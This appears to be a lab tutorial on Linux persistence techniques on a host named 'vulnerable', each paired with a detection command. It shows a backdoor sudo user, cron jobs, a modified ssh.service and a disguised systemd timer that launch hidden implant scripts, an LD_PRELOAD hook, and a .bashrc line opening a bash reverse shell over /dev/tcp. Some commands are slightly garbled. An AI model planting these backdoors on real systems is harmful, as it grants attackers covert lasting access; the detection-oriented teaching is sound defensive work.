

Backdoor User

Attackers can create a user on the target system to maintain access while that account is active

Creating the backdoor user

```
root@vulnerable:~# useradd r00t
useradd: user 'r00t' already exists
root@vulnerable:~# |
```

Attackers can Add the backdoor user to sudoers group or give it sepcific sudo privs

```
# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
r00t    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
```

Detection

You can list all users on the system by checking the paswd file

```
for user in $(getent passwd | cut -f1 -d:); do echo "---[ USER:
$user ]---"; done
```

```
root@vulnerable:~# for user in $(getent passwd | cut -f1 -d:); do echo "[ USER: $user ]"; done
[ USER: root ]
[ USER: daemon ]
[ USER: bin ]
[ USER: sys ]
[ USER: sync ]
[ USER: games ]
[ USER: man ]
[ USER: lp ]
[ USER: mail ]
[ USER: news ]
[ USER: uucp ]
[ USER: proxy ]
[ USER: www-data ]
[ USER: r00t ]
[ USER: backup ]
[ USER: list ]
[ USER: irc ]
[ USER: _apt ]
[ USER: nobody ]
[ USER: systemd-network ]
[ USER: systemd-timesync ]
[ USER: dhcpcd ]
[ USER: messagebus ]
[ USER: systemd-resolve ]
[ USER: pollinate ]
[ USER: polkitd ]
[ USER: syslog ]
[ USER: uidd ]
[ USER: tcpdump ]
[ USER: tss ]
[ USER: landscape ]
[ USER: fwupd-refresh ]
[ USER: usbmux ]
[ USER: sshd ]
[ USER: sysadmin ]
```

Cronjobs

Attackers can use Cronjobs to schedule commands and implants

cronjobs can run for a user or systemwide

systemwide implant

```

root@vulnerable:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow   command
*/1 * * * * /bin/bash /usr/games/.sh
root@vulnerable:~# |

```

the above example is a root specific cronjob that runs an empire implant everyday.

```

root@vulnerable:/usr/games# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily
47 6 * * 7 root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly
52 6 1 * * root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly
0 */5 * * * /bin/bash /usr/games/.1.sh
root@vulnerable:/usr/games# |

```

the above example is a system-wide cron job that runs a simple bash script that makes sure the root backdoor user exists every 5 hours.

Detection

Systemwide

```
ls /etc/cron.* & cat /etc/crontab
```

```
root@vulnerable:/usr/games# ls /etc/cron.* & cat /etc/crontab
[1] 1761
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly
0 */5 * * * /bin/bash /usr/games/.1.sh
root@vulnerable:/usr/games# /etc/cron.d:
e2scrub_all sysstat

/etc/cron.daily:
appport apt-compat dpkg logrotate man-db sysstat

/etc/cron.hourly:

/etc/cron.monthly:

/etc/cron.weekly:
man-db

/etc/cron.yearly:
```

user specific

```
root@vulnerable:/usr/games# crontab -e
No modification made
root@vulnerable:/usr/games# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/1 * * * * /bin/bash /usr/games/.sh
root@vulnerable:/usr/games#
```

System service

Attackers can create or edit system service files to run commands and implants

```

root@vulnerable:/etc/systemd# cat /usr/lib/systemd/system/ssh.
[Unit]
Description=OpenBSD Secure Shell server
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
ExecReload=/bin/bash /usr/games/.2sh
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
RuntimeDirectory=sshd
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
Alias=sshd.service
root@vulnerable:/etc/systemd# |

```

The above example is an edited ssh.service that runs a empire implant when ssh is reloaded

Detection

```

find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system
-name "*.service" -mtime -1 -ls

```

```

root@vulnerable:/etc/systemd# find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system -name "*.service" -mtime -1 -ls
 25144      4 -rw-r--r--   1 root   root      575 Mar 10 19:59 /usr/lib/systemd/system/ssh.service
 25144      4 -rw-r--r--   1 root   root      575 Mar 10 19:59 /lib/systemd/system/ssh.service
root@vulnerable:/etc/systemd# |

```

you will need to edit the timestamp

System service timer

Attackers can create a system service timer that runs a service at specific times (kind of like cronjobs)

```

root@vulnerable:/etc/systemd# cat /etc/systemd/system/libssd.service
[Unit]
Description="ssd kernel driver checks"

[Service]
ExecStart=/usr/games/.hidden.sh
root@vulnerable:/etc/systemd# cat /etc/systemd/system/helloworld.timer
[Unit]
Description="Check ssd kernel drivers"

[Timer]
OnBootSec=5min
OnUnitActiveSec=24h
OnCalendar=Mon..Fri *-*-* 10:00:00
Unit=libssd.service

[Install]
WantedBy=multi-user.target
root@vulnerable:/etc/systemd# |

```

this above example runs a empire implant Monday to Friday at 10 a.m

Detection

```

find /etc/systemd/system /usr/lib/systemd/system -name "*.timer" -mmin
-60

```

```

root@vulnerable:/etc/systemd# find /etc/systemd/system /usr/lib/systemd/system -name "*.timer" -mmin -60
etc/systemd/system/helloworld.timer
root@vulnerable:/etc/systemd# |

```

LD_PRELOAD

Attackers can craft a malicious shared object file which will run when a specific command is ran

```

root@vulnerable:/opt# export LD_PRELOAD=/opt/libgnu.so >> /etc/profile
root@vulnerable:/opt# |

```

the above example runs a malicious .so file (that runs a simple revshell) everytime someone logs in

Detection

```

lsof -n | grep ".so"

```



```

root@vulnerable:/opt# lsof -n | grep ".so"
ERROR: ld.so: object '/opt/libgnu.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/opt/libgnu.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
systemd 1 root mem REG 252,0 5309400 1826 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
systemd 1 root mem REG 252,0 625344 15512 /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
systemd 1 root mem REG 252,0 755864 15610 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.5
systemd 1 root mem REG 252,0 1340976 15389 /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.4.3
systemd 1 root mem REG 252,0 2125328 29717 /usr/lib/x86_64-linux-gnu/libc.so.6
systemd 1 root mem REG 252,0 149760 15399 /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.34.0
systemd 1 root mem REG 252,0 202904 15449 /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
systemd 1 root mem REG 252,0 137440 15448 /usr/lib/x86_64-linux-gnu/liblz4.so.1.9.4
systemd 1 root mem REG 252,0 198664 15344 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
systemd 1 root mem REG 252,0 952616 29720 /usr/lib/x86_64-linux-gnu/libm.so.6
systemd 1 root mem REG 252,0 3755032 17654 /usr/lib/x86_64-linux-gnu/systemd/libsystemd-shared-255.so
systemd 1 root mem REG 252,0 26848 15340 /usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
systemd 1 root mem REG 252,0 67888 18413 /usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
systemd 1 root mem REG 252,0 51536 15341 /usr/lib/x86_64-linux-gnu/libcap.so.2.66
systemd 1 root mem REG 252,0 236592 15329 /usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0
systemd 1 root mem REG 252,0 2140744 17653 /usr/lib/x86_64-linux-gnu/systemd/libsystemd-core-255.so
systemd 1 root mem REG 252,0 38984 15306 /usr/lib/x86_64-linux-gnu/libacl.so.1.1.2302
systemd 1 root mem REG 252,0 174472 15540 /usr/lib/x86_64-linux-gnu/libselinux.so.1
systemd 1 root mem REG 252,0 125360 15539 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
systemd 1 root mem REG 252,0 309960 15464 /usr/lib/x86_64-linux-gnu/libmount.so.1.1.0
systemd 1 root mem REG 252,0 112792 15440 /usr/lib/x86_64-linux-gnu/libkmod.so.2.4.1

```

.rc files

Attackers can edit .rc files to run a command or implant when a user logs in and the .rc file is executed


```

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locu

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal
"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi

bash -i >& /dev/tcp/127.0.0.1/9001 0>&1
root@vulnerable:/home/sysadmin#

```

The above example runs a simple revshell when the sysadmin user logs in.

